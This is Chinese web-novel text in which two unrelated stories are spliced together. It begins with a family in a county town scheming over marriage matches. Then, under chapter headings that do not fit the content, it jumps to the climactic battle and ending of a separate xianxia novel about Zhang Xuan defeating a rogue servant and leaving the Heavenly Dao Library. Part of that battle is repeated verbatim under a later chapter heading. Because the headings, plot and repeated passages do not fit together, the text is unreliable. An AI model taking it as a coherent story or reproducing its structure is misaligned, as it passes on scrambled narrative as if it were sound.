相貌比梅家千金似乎还要好看上两分。而且一身装扮,非富即贵。老太婆心思顿时活泛起来。
“大哥,她是谁?”
金安福同样激动。
他虽然来到城里,但当着差,有点空闲就跑去青楼窑子鬼混去了。对于城里权贵,他其实认识不多。
邓慧那身女人中极其少见的雪白皮肤,娇嫩容颜,一瞬间将金安福迷了个五迷三道。
不过金竹海不喜欢这种稚嫩的小姑娘。看到邓慧,就想起苏氏那干瘪的小身板,喜欢哭哭啼啼,兴趣全无。
把目光收回来,环抱双臂凉凉地看着弟弟。
这混账东西一见女人,就两眼放光。被打成这样儿了,躺床上还不老实。
真让人没好气!
“她是邓教谕家闺女邓慧。她老爹作为学官,县令也得卖其两分薄面。臭小子,我可警告你,你逛窑子那种不三不四的手段,可别往人家身上使!”
金安福讪讪道:“大哥,怎么会呢?我再不懂事,也不会将堂堂教谕千金,当成下贱的烟花女……”
老金氏眼珠子一转。
“老大,正好你把梅家的亲事退了。你看这教谕千金怎么样?娘觉得她比那个梅千金看着顺眼。”
年龄小,模样温婉有礼,娶回家更容易调教。
之前的梅玉儿见过两次,傲慢无礼,她其实并不满意。若非冲着县丞的家世,真不如老黄牛般踏实肯干的前儿媳苏氏。
想到苏氏,又是一阵窝火。
贱皮子赶出家门,腰杆子倒直了,敢跟她打擂台别矛头!难道以前的百依百顺,全是装出来的?
金竹海皱眉。
老娘就喜欢瞎配对!
他是娶不着老婆了吗!见一个就往他身上推?
“娘,这邓小姐干巴巴的我不喜欢!她爹不过一个教谕,还不如之前的梅县丞。娶这种姑娘进门,于我仕途毫无助益,要来干嘛?”
以前年轻不懂事,家里又穷,糊里糊涂听任撮合娶了苏氏。现在再娶,一定要擦亮眼睛找。
娶妻不贤毁三代!
老金氏听大儿子的:“你说的也是。这教谕家配咱家,确实家世有点低!”
金安福急了,拼命在床上扭动,试图引起老娘和大哥注意,口水差点掉了下来。
“娘,大哥说不要,给我呀!我要!我喜欢那丫头,一看就喜欢……”
说自己亲事,他不会觉得羞躁。男大当婚女大当嫁。虽然他爱去那窑子青楼里逛,家里小媳妇还是要有个的。
为他传宗接代。
老金氏没好气。
“看你这鬼迷日眼的,弄成这副德行,差点把你大哥人丢尽了,还想花老娘的钱,娶媳妇儿!”
金安福撇嘴,把不满的表情隐藏在被窝里。
他娘一直偏心。
前一刻抱着他哭,下一刻大哥开口骂他,便把那疼他的心收回去了。
金竹海听了弟弟的话,一时倒没有反驳。
摸着下巴微微蹿出的胡茬,若有所思道:“小弟若喜欢这邓家小姐,娘,咱们金家倒不是不能接受。”
现在宜阳县众多官吏纷纷落马,邓教谕能一直屹立不倒,也是他的本事。
何况邓教谕门下弟子众多,保不齐哪天出个举人、进士。那邓家名声水涨船高,也称得上宜阳县的文豪了。
老金氏倒是有自知之明。
“老大,你是官身,上门提亲邓家不会说啥。但你小弟只是个小小衙差,这……”
她担心地瞅瞅金安福,看到床上那坨花花绿绿的粽子,嫌弃地翻个大白眼。
就算她是老娘,也没法昧着良心说两人门当户对啊!
金竹海想了想。
“邓小姐刚及笄,没这么快许人家。我的职位,郑校尉许诺说年底给我往上挪一挪。那时候,安福是我小弟,上门提亲很说得过去了。”
娘俩一起激动。
“老大,你又要升职了,可靠吗?”
“大哥!我的亲大哥啊喂,小弟下半生的幸福,全部靠您了!”
极其兴奋抱完大哥大腿,金安福想再看看邓慧,后知后觉发现人早进县衙里去了。
想到刚听到邓慧与衙役的对话,金安福无名火冒,心头酸溜溜的。
“邓小姐去內宅,一定找那叶县令的。呸,仗着一张小白脸,勾搭未经人事的小姑娘,无耻之徒!”
金竹海不在意小弟和邓慧想什么。但既然叶清辞与教谕千金有首尾,他就忍不住要想从中搞破坏。
谁叫那不知死活的县令,一而再、再而三给他没脸呢?
叶清辞在意的东西,他一定要想办法抢夺或毁灭!
苏蓉溜回內宅,继续埋头干活。看到金家母子抱头痛哭,过得不好,她心头便舒坦。
只是不曾想会遇见邓慧。
邓慧说还那扇子,欲语还休的娇羞表情,仿佛针扎在她心上。
什么时候,他们关系这么进一步了?
她身份卑贱,邓慧是他心目中的高贵吗?
跪在地上,狠狠用抹布擦拭地板,恨不得那是两人的脸皮,统统给他们擦下来!
垂花门外,响起环佩叮当,脚步细碎的声音。
第75章 邓小姐的心思
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们死了,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以死了……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
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第76章 不出意外还是出了意外
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
